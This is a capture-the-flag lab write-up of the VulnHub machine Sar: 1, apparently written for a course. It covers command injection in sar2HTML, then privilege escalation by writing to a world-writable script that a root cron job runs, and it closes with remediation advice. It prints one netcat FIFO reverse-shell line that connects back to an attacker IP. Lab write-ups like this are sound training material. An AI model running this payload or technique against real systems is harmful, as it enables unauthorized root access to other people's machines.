Lab Report: Sar: 1 Walkthrough

Author: Meheraz Hosen Siyam | **Lab Target:** Sar: 1 (VulnHub) | **Date:** October 2026

1. Introduction

For this lab assignment, my goal was to investigate and solve the **Sar: 1** virtual machine. This report documents my step-by-step process of discovering open services, securing a foothold through an application vulnerability, identifying an insecure cron configuration, and successfully elevating privileges to root.

2. Reconnaissance & Foothold

I began the assessment by performing service discovery enumeration against the target IP address.

- **Port 80 (HTTP):** An active web server was discovered hosting a default page, which led to discovering a directory containing **sar2HTML**, a web-based monitoring tool.
- **Vulnerability Analysis:** Research into sar2HTML revealed a known command injection vulnerability within its parameter handling.
- **Initial Access:** By leveraging this command injection flaw, I executed custom shell payloads against the web application, successfully establishing a low-privileged reverse shell as user `www-data`.

3. Privilege Escalation Discovery

Once inside the system as `www-data`, I initiated post-exploitation enumeration to identify potential escalation vectors. Reviewing system configuration files, I inspected the system-wide crontab (`/etc/crontab`):

```
*/5 * * * * root cd /var/www/html/ && sudo ./finally.sh
```

This entry indicated that a script named `finally.sh` is executed with root privileges every 5 minutes from the `/var/www/html/` directory.

4. Vulnerability Analysis & Exploitation

Further inspection of the scripts involved revealed a critical permission flaw:

- The root cron job executes `sudo ./finally.sh`.
- Examining `/var/www/html/finally.sh` showed that it runs `./write.sh`:

```
#!/bin/sh
./write.sh
```

- Although `finally.sh` is owned by root and is read-only, checking `/var/www/html/write.sh` revealed that it was fully world-writable (`rwxrwxrwx`) and owned by `www-data`.

> **Exploitation Strategy:** Because the root user automatically executes `finally.sh`, which in turn runs `write.sh`, modifying `write.sh` with a reverse shell payload guarantees execution with root privileges.

Since the target machine's version of Netcat lacked support for the `-e` parameter, I implemented a reliable netcat pipe payload inside `write.sh`:

```
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.107 9001 >/tmp/f
```

After updating the script and setting up my listener on port `9001`, the cron job triggered automatically, connecting back with full **root** privileges.

5. Conclusion & Remediation

Key Takeaway: This lab demonstrated the severe risks of insecure file permissions in combination with root-level automation tasks. If scripts executed by root rely on components modifiable by low-privileged users, full system compromise is trivial.

Remediation: Automation scripts executed via sudo or cron should reside in secure directories, be strictly owned by root, and never grant write permissions to standard users.